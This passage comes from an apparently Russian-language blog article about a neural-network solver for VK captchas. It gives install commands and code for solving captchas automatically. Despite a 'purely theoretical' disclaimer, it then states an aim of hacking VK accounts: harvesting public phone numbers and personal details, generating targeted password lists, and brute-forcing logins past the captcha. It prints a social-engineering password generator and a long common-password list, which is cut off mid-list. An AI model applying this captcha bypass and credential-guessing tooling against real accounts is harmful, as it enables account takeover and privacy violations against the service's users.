        key, _ = self.solve(captcha.get_url(), minimum_accuracy=minimum_accuracy, repeat_count=repeat_count)
        try:
            ans = captcha.try_again(key)
            return ans
        except vk_api.ApiError as e:
            if e.code == vk_api.vk_api.CAPTCHA_ERROR_CODE:
                with lock: VkCaptchaSolver.FAIL_COUNT += 1
            raise

Установка и использование

Установка библиотеки:

pip install vk_captcha
or
pip install https://github.com/imartemy1524/vk_captcha/raw/main/dist/vk_captcha-2.0.tar.gz
or
pip install git+https://github.com/imartemy1524/vk_captcha

Ну и использование:

  1. С помощью библиотеки vk_api

from vk_captcha import vk_api_handler
vk = vk_api_handler.VkApiCaptcha("88005553535", "efwoewkofokw")  # this login will create captcha
vk_api_handler.Solver.logging = True  # enable logging
vk.auth() # get captcha error and automatically solve it
  1. "Ручками"

from vk_captcha import VkCaptchaSolver
import random, requests

session = requests.Session()  
session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0'

solver = VkCaptchaSolver(logging=True)  # use logging=False on deploy
sid = random.randint(122112, 10102012012012)
easy_captcha = False
url = f"https://api.vk.com/captcha.php?sid={sid}&s={int(easy_captcha)}"

answer, accuracy = solver.solve(
    url=url,
    minimum_accuracy=0.33,  # keep solving captcha while accuracy < 0.33
    repeat_count=14,  # if we solved captcha with less than minimum_accuracy, then retry repeat_count times
    session=session  # optional parameter. Useful if we want to use proxy or specific headers
)
# or
#answer, accuracy = solver.solve(bytes_data=session.get(url))
print(f"I solved captcha = {answer} with accuracy {accuracy:.4}")
  1. Ну и куда в текущих реалиях без всемилюбимого async

    from vk_captcha import VkCaptchaSolver
    import random, asyncio
    solver = VkCaptchaSolver(logging=False)  # use logging=False on deploy
    async def captcha_solver():
        sid = random.randint(122112, 10102012012012)
        easy_captcha = False
        url = f"https://api.vk.com/captcha.php?sid={sid}&s={int(easy_captcha)}"
        answer, accuracy = await solver.solve_async(url=url, minimum_accuracy=0.4, repeat_count=10)
        print(f"Solved captcha = {answer} with accuracy {accuracy:.4}")
    asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
    asyncio.run(captcha_solver())
    

Ну и зачем весь этот сыр-бор?

Если, прочитав эту статью, вы задались вопросами по типу: «Ради чего это всё?», «Ради 20 рублей за 1000 капч?», то хочу вас "обеспокоить", всё это было не зря. Мы будем взламывать вк.

Дисклеймер №2:

Все последующие действия являются чисто теоретическими. Автор статьи никого не взламывал и не совершал никаких других противозаконных действий; он всего лишь "придумал" теоретическую возможность по обходу защитного функционала VK.

Автор также не советует (и ни в коем случае не побуждает) вам совершать никаких противозаконных действий с кодом ниже: помните про уголовный кодекс.

Немного о брутфорсе в реалиях 2023 года

Наверное многих школьников, решивших взломать вк, посещала мысь: "а давайте просто переберем пароли, и взломаем одноклассни[цу]?". Но вся реализация упиралась в неё — капчу, выскакивающую после 3-5 запросов, которую VK добросовестно начинал показывать молодым "злоумышленникам". Но теперь обойти 1 экземпляр этой защиты стоит нам всего 2мс, так что почему бы не провести "исследование" о том, насколько реально взламывать странички брутфорсом в 21 веке.

Кстати, VK до недавнего времени даже не чекал тайминги (да и вроде сейчас не всегда их проверяет): можно было решить капчу за 0.1 секунду, и, если она была решена правильно, нам честно давали ошибку, что пароль неправильный (или правильный).

Итак, первая идея, которая пришла мне на ум: «давайте, для получения информации, воспользуемся ОФИЦИАЛЬНЫМ API VK». Cмысл примерно такой: ищем аккаунты с публично указанным номером телефона и используем его как логин. Далее на основе других публично-личных данных (имени, фамилии, даты рождения, тех же данных их родственников/2х половинок) будем генерировать базу паролей для каждого конкретного пользователя

Скрипт генерации паролей на основе личных данных пользователя

# Date: 02/23/2019
# Original passgen author: Mohamed
# Some changed by: UnderMind0x41
# Description: A social engineering password generator
# This script required python version >= 3.0
import argparse
import sys


# 3.5k most popular passwords
# TOP_PASSWORDS = {'legend', 'bandit', 'deedee', 'FREEDOM', 'ZAQXSW123', 'games12345', 'read10', 'Chevy1', 'madonna', 'nikkoz', 'sfactory', 'nikita', 'snowball', 'aqwert', 'macintos', 'WOODWORK', 'member_name', 'yoyoyo', 'cloclo', 'intern', 'saskia', 'wisdom', 'praise', 'happiness', 'animoto', 'vfhbyf', 'SKIPPER', '123321', 'jesuschrist', 'любовь', 'designer', 'racoon', 'vcxzfdsa', 'beetle', 'cccccc', 'asembler', 'qwerty33', 'newbie', 'rosebud', 'harold', 'Snowbal', 'camille', 'regusers', 'iloveaol', 'testtest', 'hollister', '87654321qwerty', 'DEPECHE', 'usrname', 'Jimbob', 'ACIDBURN', 'Tardis', 'sysadmin', 'hilary', 'qwerty4321', 'charles', 'canibal', 'reckah123', 'grover', 'Bowling', 'shorty', 'Cowboy', 'travel', 'Aa123456.', 'matthew1', 'loverboy', 'ncc1701d', 'knight', 'steaven', 'marines', 'irarref', 'upiter', 'christmas', 'liliana', 'imagine', 'rocky1', 'Tiffany', 'unstable', 'GIVEALL', 'logitech', 'liverpool1', 'romuluzz', 'user_n', 'Fishing', 'popeye', 'gateway', 'spammer', 'brooke', 'cecilia', 'victor', 'molson', 'userpasswd', 'megabit', 'goblue', 'impala', 'stargate', 'thunder', 'Tootsie', '987456', 'gustavo', 'MYICQUIN', 'hammer', 'sergei', 'myname', 'popcorn', 'benoit', 'aaaaaaaa', 'Chiefs', '66666666', 'FERRARI', 'sprite', 'stanley', '147258', 'MIR@nda', 'login_name', 'brewster', 'mystic', 'bright', 'dustin', 'thumbs', '143143', 'tatiana', 'CREATION', 'salvador', 'Sanders', 'artist', 'killem0l', 'tristan', '682995', 'winner', 'qweasdzxc', 'ИТЪВЯЛ', 'fireball', 'ilovehim', 'CHELSIA', 'trouble', 'GOBLIN', 'Justin', 'passwords', 'amelia', 'phoenix1', 'kelsey', 'zxcasd', 'linkinpark', 'penguin', 'administrator123', 'kermit', 'zxcdsaqwe11', 'mysql.user', 'hotchick', 'asdf', 'Spirit', 'esther', 'sarita', 'vputin', 'loveme2', 'August', 'Dustin', 'guinness', 'NOTEBENE', 'whatever', 'loser1', 'number', 'Soccer', 'charlie1', 'naruto', 'starter', 'tigers', '54321', 'emerpus', 'symbol', 'mywapis', 'Johnny', '12345qwe', 'administrat0r', 'Babies', 'icqpass', 'sailor', 'uoyevoli', '4444444', 'smashing', 'monster', 'pelusa', 'maria', 'vanilla', 'qwerty007', 'Basket', 'conrad', 'm@ster', 'Elwood', 'cxzasd', 'anyway', 'jackie', 'soccer1', 'p_word', 'blessed', 'drakula', 'converge_pass_salt', 'qazxswedcvfr', 'shanti', 'administrator', 'qcinigol', 'baltika9', 'indiana', 'emmanuel', 'qwerty2012', 'stinky', 'MIRANDA', 'Vampire', 'toyota', 'oldman', 'skaradub', 'red123', 'adminusername', 'scooby', 'niudekcah', 'gregory', 'nadine', '!QWERTY', 'beagle', 'cowboy', 'pogiako', 'daniel1', 'my_password', 'norton', 'oxford', 'powerman', 'ledzep', 'torres', 'broken', 'Shooter', 'electric', 'win2000', 'kittens', 'estrellita', 'schleker', 'ЪТИЖСЙ', 'college', 'orbita', 'monkeys', 'connie', 'patito', 'Lexus21', 'mitchell', 'princess', 'sysadmins', 'user_list', 'cyclone', 'sheena', 'sysusers', 'security', 'buttons', 'aimuin', 'frederic', '1qwerty1', 'dolphins', 'stupid', 'daniel', 'lockout', 'CAT&DOG', 'UNKNOVVN', 'babaytugur', 'guanli', 'Robert', 'ROBINGUD', 'testing', 'rafael', 'zxcvfdsa', 'admin_userinfo', 'alyssa', 'fantom', '1a2b3c', 'booboo', 'barbara', 'Smokey', 'QIP123', 'julian', 'clientname', 'moomoo', 'qazwsx', 'bigfoot', 'maganda', 'phoenix', 'tweety1', 'Grandma', 'screen', 'fantasy', 'guadalupe', 'spanky', 'potaptik', 'brithney', 'undead', 'angelita', 'barney', 'ramazik', 'molly1', 'administrator_name', 'Frosty', 'cantik', 'COVID19', 'Bigfoot', 'quake3', 'tarzan', 'gorgeous', 'wilbur', 'qwe456', 'yourmom', 'zxcdsa44', 'Shotgun', 'morena', 'bonnie', 'corazon', 'friendster', 'Arctic', 'genezis', 'hemmelig', 'ytinirt', 'explorer', 'gretchen', 'pma_table_info', 'monday', 'qwertyasdf', 'ALTENTER', 'secret12', 'qwert12345678', 'win2008', 'myself', 'davinchi', 'search', 'asdfghjkl', 'watermelon', 'Minnie', 'justine', 's@b@k@', 'mickey1', 'kevin1', '1q2w3e4r', 'Rooster', '9999999', 'vfrcbv', 'logini', 'bowwow', 'Hearts', 'install', 'lolipop', 'panther', '987654', 'КЧАНБЭ', '321123', 'qawsedrf', 'gerard', 'Chegg123', 'selena', 'pepper', 'PASSWORD', 'babylon5', 'usernm', 'mommy1', 'oatmeal', 'champion', 'SINISTER', 'MYICQ╧IS', 'benjamin', 'cinderella', 'iluvme', 'sasuke', 'marvin', 'VERSUS', 'xbox360', '1qaz!QAZ', '918273645', 'imissyou', 'LONGHORN', 'training', 'matrixfx', 'catalog', 'metropol', 'dominic', 'bonjour', 'rastaman', 'retupmoc', '312321', '3333333', 'nemezida', 'phoebe', 'love4ever', 'buster1', 'BATMAN', '01234qwerty', 'keywords', 'pacific', 'epidemic5', 'iof314', 'ghetto', 'foxtrot', 'user_pwd', 'ffokcuf', 'isabel', 'PRESSURE', 'BATNAN', 'pisces', 'mazda1', 'UserControl', 'ANARCHY', 'MYICQ#IS', 'hotstuff', 'kapusta', 'cooper', 'alt+0160', 'Dexter', 'userinfo', 'kramer', 'COURAGE', 'chester', 'asterix', 'kitkat', 'chemist', 'pidarast', 'covid-19', 'converge_pass_hash', 'station', 't-bone', 'legolas', '51905190', 'f00tb@ll', 'amigas', '131313', 'panthers', 'nastya', 'qzwxecrv', 'hacker', 'gerald', 'goddess', 'melvin', 'fatima', 'school', 'my_name', 'norman', 'Tolkien', 'tenretni', 'useradmin', '0987865', 'Yankees', '0qwerty', 'pass_hash', 'quality', 'lover1', 'Tazman', 'hahaha', 'tb_member', 'aaliyah', 'sysconstraints', 'musername', 'startrek', '5555555', 'steele', 'sweety', 'zxcasdqwe', 'venera', '12341234', 'kilemall', '1234567qwerty', 'wwwwww', 'ytrewq', '***Samson***', 'site_login', 'bethoven', 'unreal', 'denali', 'fucker', '%username%!@#$', 'cms_users', 'santos', 'jessie', 'phpadmin', 'cuteme', 'tiffany', 'metallic', 'Hatton', 'images', 'newcourt', 'porter', 'Killer', '696969', 'rosario', 'strawberry', '123zxc', 'magician', 'scrible', 'Xanadu', 'Brandi', 'nipper', 'australia', '007007', '1234qwerty', 'login_user', 'Johnson', 'yellow', 'October', 'qwertyu1', 'christina', 'PREDATOR', 'england', 'DOG&CAT', 'Covid2019', '246810', 'FORTUNE', 'redwing', 'penelope', 'robotech', 'staford', 'login_username', 'RAMSTEIN', '654321qwerty', 'Abcdef', '567890', 'admin12', 'america7', 'password12', 'Welcome1', 'google', 'formatC', 'analshit', 'tinkerbell', '!@#$%^&*()_+', 'spencer', 'dickhead', 'win2003', '1qw23e', 'ncc1701e', 'suzuki', 'марина', 'forall', 'support1', 'clipper', 'walter', 'Coolman', 'rebecca', '151515', 'summer1', '1435254', 'yamaha', 'NVIDIA', 'yxalag', 'fisher', 'ginger', 'pa$$1234', '123qweasdzxc', 'ashley1', 'debbie', 'lester', '@administrator', '1234qwert', 'accept', 'jeanne', 'blizzard', 'billabong', 'user_level', 'mighty', 'niceday', 'xuyxuy', 'sharon', 'Chester', 'joshua1', '987654321qwerty', 'french1', 'jasper', 'LOCHNESS', 'robert1', 'Airhead', 'francois', 'unicorn', 'scooter', 'carlos', 'darling', 'nebraska', 'arlene', 'w1w2w3', 'lorenzo', 'buldog', 'angels', 'remember', 'russell', 'kimberly', 'ЛЮПХМЮ', 'michel', 'pass_word', 'Walleye', 'gatita', 'film@123', 'undertaker', 'qwerty1992', 'bigred', 'asdfgh', 'thomas', 'MONSTER', 'jewels', 'alison', 'elizabeth1', 'single', 'adidas', 'pascal', 'filosofy', 'sting1', 'Gunner', 'rachel', 'florida', 'mihaela', 'racerx', '102030', 'maradona', '12qwerty12', 'nargiz', 'bonita', 'cartoon', '753159', 'NAPOLEON', 'dsadsa', 'grumpy', 'claudia', 'kristin', 'lovelove', 'fuckyou', 'JSBach', 'yfnfif', 'Emmitt', 'mariah', 'felipe', '33333333', 'badboy', 'booger', 'friends1', 'jasmine1', 'columbia', 'cougars', 'member_login_key', 'nesbitt', 'sister', 'lestat', 'Reader', 'emanuel', 'princesa', 'dancer', 'sweetie', 'metallica', 'scotty', 'players', 'ИЖСЙЕМЦЬ', 'happyday', '123456q', 'qwer123', 'Gemini', 'sophia', 'admins', 'eminem', 'john316', 'altctrl', 'user_login', 'supreme', 'ИТЪВШЖ', 'denise', 'charlotte', 'tamara', 'svetik', 'CYBORG', 'madrid', 'newuser', 'PRINCESS', 'Chicago', 'adminpass', 'mem_pass', 'P@SVVORD', '21qwerty', 'customer', 'playgirl', 'WIZARD13', 'aqswdefr', 'number1', 'Honda1', 'bond007', 'newsid', 'AAAAAA', 'gasman', 'viper1', '59trick', '888888', 'wolverin', 'mahalko', 'CHANEL', 'qazqaz', 'content', 'shadow', 'PUSSYCAT', 'esmeralda', '123789', 'welcome', 'strawber', 'doogie', 'dragon1', 'Speedy', 'Melissa', 'conner', 'buster', 'nicole1', 'Aikman', 'BON_JOVI', 'UNIVERSE', 'topher', 'STATIC', 'tequieromucho', 'jenjen', 'user_pword', 'bettyboop', 'micheal', 'mookie', 'perfect', 'alisha', 'valhalla', 'taylor', 'ecuador', 'ACHTUNG', '168168', 'emerald', 'password2', 'deadhead', 'julie1', 'shogun', 'ENTRANCE', 'Sparky', 'marissa', 'francis', 'mylife', 'porsche9', 'terminal', 'sexylady', 'caesar', 'naughty', 'Lakota', 'ashlee', '020202', 'Pacers', 'CyberL0rd', 'lalala', 'emailaddress', 'talisman', 'windows2003', '0123456789', 'maggie', 'megalol', '01qwerty', 'sunset', 'member_id', 'factory', 'jessica', 'spitfire', 'creative', 'lollipop', 'Maddock', 'zxcdsaqwe12345', 'monkey', 'snowman', 'azsxdcfv', 'slipknot', 'shveden', 'douglas', 'zxcvbnm,', 'nirvana1', 'teddy1', 'packard', 'miranda3', 'hayden', 'pasaway', 'graymail', 'usr_pw', 'salmon', 'marie1', 'friends', 'celica', 'il0vey0u', 'sapphire', 'alex13', 'nathan', 'People', 'Stacey', 'un1ver$e', 'coffee', 'miguel', 'scooter1', 'indigo', 'Teacher', 'pa$$word', 'slacker', 'area51', 'friday', 'OVERRIDE', '7897984', 'MAXPAYNE', 'boomer', '1234565', 'anderson', 'zhongguo', 'Runner', 'REGISTER', '1111111', 'stallone', 'fitness', 'format_c', 'immortal', 'Reebok', 'scuba1', 'teddybear', 'bitch1', 'aquarius', 'winston', 'dodgers', 'Kathryn', 'pinkfloy', 'Sports', 'banane', 'capricorn', 'elliot', 'gracie', 'kitten12', 'Martha', 'whisky', 'lindsey', 'eclipse', 'asdcxz', 'minnie', 'batman', 'katrina', '999999999', 'duckie', 'user_usernun', 'invalid', '123456qwerty', 'ctrlalt', 'cougar', 'maxime', '9876543210', 'condom', 'jeremy', 'Dakota', 'micros', 'cowboys', '!pwd@ti', 'jackson', 'METAFORA', 'Blazer', 'zxcdsa33', 'cookie1', 'holland', 'daytek', 'Little', 'tigger', 'catwoman', 'timothy', 'Knights', 'johnny', 'Author', 'tb_user', 'epidemic1', 'usrpass', 'inuyasha', 'user_ip', 'lastname', 'camilo', 'bebita', 'love12', '00000000', 'chacha', 'diablo', 'Bookit', 'MODERN', 'debbuger', 'usr_nusr', 'control', 'laptop', 'abcdef', '123abc', 'daniela', 'pantera', 'blowfish', 'celeste', 'pangit', 'pierce', 'elijah', 'hector', 'maribel', 'Malibu', 'memberlist', 'victory', 'august', 'silence', 'techno', 'rockon', 'cristo', 'thomas1', 'Kinder', 'spacer', 'abcd1234', 'jessica1', 'leningrad', 'temppass', 'adrian', 'phpmyadmin.pma_table_info', 'wp_users', 'controle', 'navalny', 'aaaaaa', 'GLOBUS', '0123qwerty', 'adminlogin', 'Science', 'Vikings', 'animals', 'nubobap', 'psalms', 'Rodman', 'stephen', 'loveyou', 'richard', 'epidemic', 'chichi', 'sweetpea', 'victoria', 'qazwsxed', 'adress', 'SCORPION', 'online', 'qwerty21', 'DROWPASS', 'master1', 'cookie', '000000', 'glitter', 'killer', 'chimaira', 'Fluffy', 'GARBAGE', 'myspace1', 'vampire', 'wkarlo', 'Heather', 'pallmall', 'tb_login', '1234qwer', 'macafee', 'snoopdog', 'carter', 'dayana', 'Raistlin', 'covid2020', 'poopoo', 'corwin', 'dogbert', 'Shorty', 'Champs', 'test1234', 'KITANA', 'hal9000', 'klepan', 'blasphem', 'chrissy', 'Kristy', 'politics', 'katherin', 'mypassword', 'remal321', 'tr1n1ty', 'ИЖСЙЕМТШБЮ', 'Broncos', '161616', 'dolphin', 'bird33', 'micron', 'health', 'eduardo', '2cute4u', 'family', 'COLUMBUS', 'connor', 'indian', 'CTRALTDL', 'sweamer', 'qwerty0123456789', 'thx1138', 'vision', 'leslie', '88888888', 'Braves', 'harvey', 'ICECUBE', 'Farmer', 'rossia', 'pass_w', 'maverick', 'market', 'martini', 'nursing', 'brutus', 'mariana', 'speedo', 'cristina', 'godzilla', 'septembe', 'Surfer', 'hotgirl', 'qwerty123456', 'bigman', 'bigdog', 'rtyuiop', 'Blowme', 'butthead', 'alfred', 'pearljam', 'Friends', '1q2w3e4r5', 'troppus', 'system32', 'michele', '080808', 'Hornets', 'nemezis', 'Hanson', 'pokemon', 'people', 'temporal', 'tester', 'september', 'Number1', 'reggie', 'cc_number', 'dubsmash', 'superman', 'leonardo', 'kittykat', 'hctib123', 'passvord', 'trident', 'laskovaja', 'mailman', 'outbrake', 'santiago', 'mariposa', 'martin', '4815162342', 'u_name', 'zaqxswcde', 'my_email', 'mememe', 'insane', 'flymode', 'xar_pass', 'avrets', 'orgazm', 'catalina', 'junior', 'Digger', 'userpw', 'status', 'b00ster', 'anthony', 'forever', 'hernandez', 'trebor', 'mycomputer', 'wonder', 'Rhonda', 'lavender', 'qwert123', 'qazxsw', 'marina', 'bianca', 'elephant', 'Griffey', 'number9', 'jaguar', 'CIVILIAN', 'dinozavr', 'cuteako', 'sagitario', 'nellie', 'apollo13', 'slideshow', '112233', '242424', 'iloveu', 'arizona', 'VOODOO', 'iloveu2', 'Nicole', 'maracle', 'idontknow', 'gatito', 'sparrow', 'rodrigo', 'samson', 'besadmin', 'martinez', 'iloveme', 'charlie', 'myicq#', '59mile', 'Espanol', 'cinder', 'Mickey', 'busted', 'SATANA', 'bubblegum', 'Passw0rd1', 'copernic', 'cyrano', 'christian', 'DEFAULT', 'МЮРЮЬЮ', 'firefox', 'bullshit', 'backupexec', 'Packer', 'userpwd', 'philosof', 'teiubesc', 'LEXICON', 'madman', 'mierda', 'isadmin', 'britney', 'babyboo', 'ubludok', 'jayson', 'g_czechout', 'Kitten', 'Hockey1', 'natalie', 'cybernet', 'UNKNOWN', 'Doggie', '00000', 'colleen', 'honey1', 'truelove', 'business', 'mistica', 'shaggy', 'softball', 'michael.', 'alexis', 'loginkey', 'manson', 'brandy', 'putin01', 'Clover', 'cerber', 'MAZAFAKA', '741852963', 'shopping', 'athena', 'marlboro', 'Compute', 'Retard', 'максим', 'Speech', 'caitlin', 'SCROLL', 'barbie', 'shithead', 'parola', 'q1w2e3r4t5y6', 'ЛЮЙЯХЛ', 'Cheryl', 'kisses', 'passwd', 'Marshal', 'babygurl', 'Orlando', 'Zxcvbnm', 'booster', 'summer', 'israel', 'adminpsw', 'user_username', 'ststic', '7758521', 'db_hostname', 'user_pwrd', 'mem_pwd', 'shleker', 'Topgun', 'systime', 'cuteko', 'willow', 'KILLEMOL', '1234qwerty1234', 'dragon', 'genesis', 'nguyen', 'crystal', 'pedofil', 'ballet', 'pass1234', 'sakura', 'challeng', 'domino', 'SOLDIER', 'murphy', 'laikos', 'spongebob', 'stefan', 'weapon', 'Spunky', 'ETERNITY', 'marshall', 'LUCKY123', 'chicken', 'teacher', 'VURDALAK', 'jason1', 'yomama', 'йцукен', 'theatre', 'lourdes', 'Russel', '][aker13', 'heather', 'manage', 'soleil', 'brittany', 'energy', '444444', 'qwerty12345', 'donald', 'Maddog', '1234567qwert', 'Skinny', 'orchid', 'Button', 'star69', 'freddy', 'hannah', 'volleyball', 'impotent', 'abc123', 'monopoly', '22222222', 'magnum', '741852', 'fi$her', 'NATURE', 'sammie', '784512', 'telecom', 'marisa', 'alexande', 'claire', 'lizzie', 'gandalf', 'MYZTIC', '576823', 'a1b2c3d4', 'akrmaz', 'sweetness', 'musica', '@#$%^&', 'alfredo', 'ramona', 'EXORCIST', 'Monica', 'session', 'Cleaner', 'intrepid', 'Windows', 'jackass', 'ACT_INFO', 'lovely1', 'p_assword', 'personal', 'adminroot', 'asdfghj', '2222222', 'qazedc', 'lauren', 'MUDVIN', 'president', 'Footbal', '123qwe', 'xxxxxx', 'andrew', 'jamaica', 'computer', 'setting', '12345', 'aylmer', 'admin_pwd', 'lorraine', 'wright', 'spiderman', 'lupita', 'georgia', 'Groovy', 'isabelle', 'ramirez', 'memlogin', 'iverson', 'johanna', 'beautifu', 'sexybitch', 'dratsab', 'webusers', 'sunny1', 'jasmine', 'topcat', 'workgroup', 'teamomucho', 'Farming', 'million', '12345678qwerty12345678', 'copper', 'millie', 'anonymous', 'zephyr', 'somsoc', 'zenith', 'Challenge', 'christia', 'format', 'Killme', 'nascar', 'qwerty1234', '8888888', '123qwerty123', 'Cooper', 'sb_admin_name', 'renegade', 'chrisbrown', 'michael1', '01234567qwerty', 'phantom', 'susana', 'qw1234er', 'covid19', 'wolfMan', 'blink182', 'qwerty012345678', 'Alicia', 'Senior', 'AndrewK', '895623', '171717', 'scruffy', 'trustno1', 'account', 'Froggy', '1234', 'usr_pass', 'trixie', 'hershey', 'amigos', 'bluesky', 'kissmyass', 'edonkey', 'malcolm', 'darwin', 'user_id', 'sparkle', 'eastwest', 'psycho', '!@#$%^&', 'Jimmy2503', 'site_logins', 'butterfly1', 'stealth', 'astrix', 'Uragan-75', 'access', 'samsung', 'michael', 'APACHE', 'shvine', 'yellow1', 'membername', 'RUNDLL32', '1q2w3e*', 'project', 'potter', 'anyone', 'id_member', '123456789', 'justme', 'qwert1', 'qwerty012345678910', 'cms_admins', 'Squirt', 'bhebhe', 'TEACHERS', 'sweet1', 'COVID19_Access', 'mifesto', 'axszdvfc', 'Subjects', 'reg_users', 'letmein', 'doctor', 'zxcdsa11', 'AOL123', 'zaqxsw', 'janelle', 'outlook', 'kleenex', 'adminpassword', 'Hotrod', 'julius', 'amfibia', 'christopher', 'adminupass', 'sharona', 'ИЖСЙЕМ', 'godisgood', 'marcela', 'sammy1', '789321', 'barclay', 'skyline', 'adminpwd', 'diamonds', '12345qwerty12345', 'inside', 'sunshine', 'amores', 'hybrid', 'direct1', 'enrique', 'europe', 'claude', 'Skidoo', 'phillip', 'darkangel', 'iubire', 'dakota', 'patrick', 'nautica', 'juliana', 'firebird', 'cheche', 'mutation', 'Tanner', 'INVISIBL', 'login_password', 'dr0wp@ss', 'xfiles', 'FIREWALL', 'sonbitch', 'jayden', 'Fender', 'beautiful1', 'System', 'engineer', '123', 'pe_user', 'corona', 'lovehurts', 'Vanessa', 'artdesign1', 'ariana', 'castillo', 'babyphat', 'football', 'incubus', '520520', 'family1', 'therock', 'mcafee', 'qwerty11', 'syssegments', 'zxcdsaqwe22', 'miranda1', 'marisol', 'grandma', 'amanda', 'members', 'ZUNAMI', 'qwerty87654321', 'princesita', 'sexy123', 'weasel', 'hermosa', '@sysadmin', 'Cowboys', 'picture', '123ewq', 'etoile', 'chicken1', 'f1ref0x', 'hansolo', 'cms_user', 'sunofvault', '6666666', 'nonamer', 'daddy1', 'Action', 'Hobbit', 'usr_name', 'test1', 'sabak@', 'richman', 'q1w2e3e4', 'suport', 'Wolves', '50cent', 'wanker', 'coronavirus', 'briana', 'adminid', 'coronavirus1', 'Brasil', 'andreea', 'user_usernm', 'crazymen', '222222', 'paradise', 'tricia', 'asshole1', 'flamingo', 'Wildcat', 'cxzcxz', 'avalon', 'newyork', 'larry1', 'seven7', 'joyjoy', '10pace', 'majordom', 'serenity', '159159', 'babygurl1', 'freak1', 'Biology', 'Drizzt', 'classroo', 'superstar', 'linkin', 'pentium', 'quebec', 'austin', 'daddysgirl', 'CLEVERMAN', '!@#$%^&*(', 'Animal', 'habibufc', 'danica', 'saturday', 'gabrielle', 'Sidney', 'joanna', 'JEREMY', 'FORMATC', 'lecasolo', 'Tweety', 'nimrod', 'zaxscd', 'houston', 'Jessie', 'absolut', 'southside', 'cancer', 'pebbles', 'marine', 'asdfjkl', 'helena', 'puppies', 'sexy12', 'archie', '77777777', 'Browns', 'BigBird', 'shutup', 'cemetery', 'kelvin', 'cocacola', '44444444', 'cwsiadmin', 'majestic', 'user_pass', 'utopia', 'anamaria', 'Packers', 'user_passw', 'tequila', 'redrum', 'tucker', 'judith', 'taurus', 'g0dm0de', 'punkin', 'login_pass', 'purple', 'nopassword', 'killer66', 'iloveyou', '333333', 'cheerleader', 'lucky1', 'snuffy', 'camaro', 'inlove', 'zaraza', 'Phillip', 'Voyager', 'bugsbunn', 'qazzaq', 'baseball1', 'solemn', 'jordan1', 'zeppelin', 'celticfc', 'наташа', 'greenday', 'shadow1', 'taylor1', 'xavier', 'ronnie', 'Hockey', '1234567', 'per$on@l', 'Reading', 'viarif', 'manutd', 'sassy1', 'converse', '99999999', 'please', 'batista', 'alberto', 'jesucristo', 'cms_admin', 'Rebels', 'hottie', 'krystal', 'newcastle', 'oliver', 'ariane', 'pookie1', 'reg_user', '112112', 'ИТЪВШЖСБЯ', 'Chrissy', 'tbladmins', 'scream', 'wednesda', 'loveme1', 'Ginger', 'alex78', '12348765', 'motorola', 'marcel', 'zxcdsa12345', 'Lennon', 'reckah321', 'sentenced', '123456a', 'article', 'qwerty123456789', 'playboy1', 'flores', 'login_passwd', 'angelina', 'loveme', 'MUSTANG', 'deffer', 'velvet', 'jayjay', 'xar_name', 'fabiola', 'baran123', '232323', 'detroit', 'brandon1', '147852369', 'jordan23', 'Beavis', 'hottie1', 'baseball', '1314520', 'support3', 'Beaner', '888999', 'nnallex', 'eagle1', 'gfhjkm', 'laddie', 'thumper', 'Purple', 'desiree', 'superman1', 'tarantul', 'labtec', 'Dwight', 'happy1', 'kissme', 'babycakes', 'taytay', 'COLORADO', 'birthday', '54321qwerty', 'SATANIC', 'qwerty7654321', 'qweqwe', 'bethany', '224466', 'iloveyou!', 'eagles', 'Frankie', 'kostikd', 'love123', 'Hotdog', 'dioretsa', '1111111111', 'Passwor', 'dollar', 'birdie', 'shelley', 'ashley', 'f00tball', 'abigail', 'benfica', 'gocougs', 'brenda', 'marley', 'stella', 'qwerty012', 'corrado', 'iloveyou2', 'william1', 'sunshine1', 'LocalAdministrator', 'ОЮПНКЭ', 'qwe12345', 'admin123456', 'biteme', 'CHANNEL', 'ranger', 'h2opolo', 'hannah1', '1q2w3e4r5t6y', 'oligarch', 'Snoopy', 'Volley', 'Buttons', 'isabella', '7758258', 'qwertyasdfg', 'amelie', 'cheese', 'jonathan', 'redface', 'diosesamor', 'tekiero', 'krovatka', 'rabbit', 'admin_password', 'huiznaet', 'brooklyn', 'rochelle', 'depurple', 'pass1word', 'qwertyui', '968574', 'Weezer', 'dennis', 'disney', 'amistad', 'adminadmin', 'dianita', 'Tractor', 'mississippi', 'andres', 'GoddoG', 'qwert123456789', 'user_info', 'loulou', '456321', 'beatriz', 'sonofАХВ', 'promethe', '1qwerty', 'fozzie', 'puppy123', 'mishka', '%username%1', 'user_passwd', 'Wheels', 'saturn', 'CatdoG', 'gilles', 'gofish', 'bluebird', 'user_name', 'maryjane', 'smiles', 'babydoll', 'mortal', 'pandora', 'pirate', 'ytrewq321', 'republic', 'user_pw', 'screen10', 'juventus', 'Nirvana', '!@#$%^&*', 'FLIGHT', 'qwerty', 'qwerty01234', 'snoopy', 'deliver', 'medical', '1qazxsw2', 'Coronavirus2020', 'esteban', 'Sendit', '159357', 'kenneth', 'megadeth', 'ph4ntom', 'Password1', 'sabrina', 'clubconfig', 'sergio', 'hawaii', 'valerie', 'valentina', 'qwerty0', 'sysuser', 'fapfap', 'herbert', 'SADAMAZA', 'qweasd', '9379992', 'qwerty44', 'ufolog', 'cjkysirj', 'propu$k', 'lovelife', 'SCHWARZ', '1qaz2wsx3edc', 'damian', 'adminemail', 'casino', 'Puckett', 'vfa1993', 'qwertyy', 'sunbird', 'hotdog', 'enigma', 'xcountry', 'tequiero', 'eeyore', 'worked', 'purple1', 'attila', 'eXtreme', 'analsex', 'angel123', 'qazxswedc', 'niger13', 'marcos', 'father', 'chinita', 'miamor', 'skater', 'Trucks', 'P@$VVORD', 'ase4ka', 'tigger1', 'informix', 'catfish', 'jordan', 'привет', 'tintin', '1qaz2wsx', '0987654321', 'dedicated', 'carole', 'amorcito', 'trinity', 'gerrard', 'Travis', 'beauty', 'Library', 'Carlos', 'kitten', '0000000', 'dr0wp@$$', 'MORBID', 'thebest', 'christy', 'hermes', 'chelsea', '%null%', 'logical', 'sunday', 'slipknot1', 'buttercup', 'backup', 'roberto', 'ncc1701', 'handsome', '794613', 'pickle', 'joseluis', 'shakira', 'charlene', '111222', 'ILOVEYOU', 'bailey', 'QWERTY!', 'qwerty12345678910', 'sidorov', 'pandemic1', 'Carrie', 'nemesis', 'sanjose1', 'darren', 'fuckyou2', 'LUNATICK', 'kingfish', 'Bananas', 'config', 'chubby', 'martin1', 'yonghu', 'nopassw', 'cascade', 'chiquita', 'sexyme', 'dragonfl', 'Passwort', 'brittney', 'sunflower', 'a12345', 'joseph', 'Eagles', '123qwerty', 